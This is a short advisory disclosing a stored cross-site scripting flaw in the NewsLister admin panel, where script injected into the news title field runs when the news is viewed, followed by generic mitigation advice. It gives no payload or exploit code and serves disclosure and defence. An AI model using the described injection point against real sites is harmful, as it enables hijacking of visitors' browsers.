NewsLister – Authenticated Persistent Cross-Site Scripting

The NewsLister application is vulnerable to an authenticated persistent cross-site scripting (XSS) attack. By logging into the admin panel and entering a malicious payload in the title value, an attacker can execute arbitrary JavaScript code when viewing the news.

Mitigation:

To mitigate this vulnerability, the vendor should sanitize user input properly and implement input validation and output encoding techniques to prevent the execution of arbitrary JavaScript code.
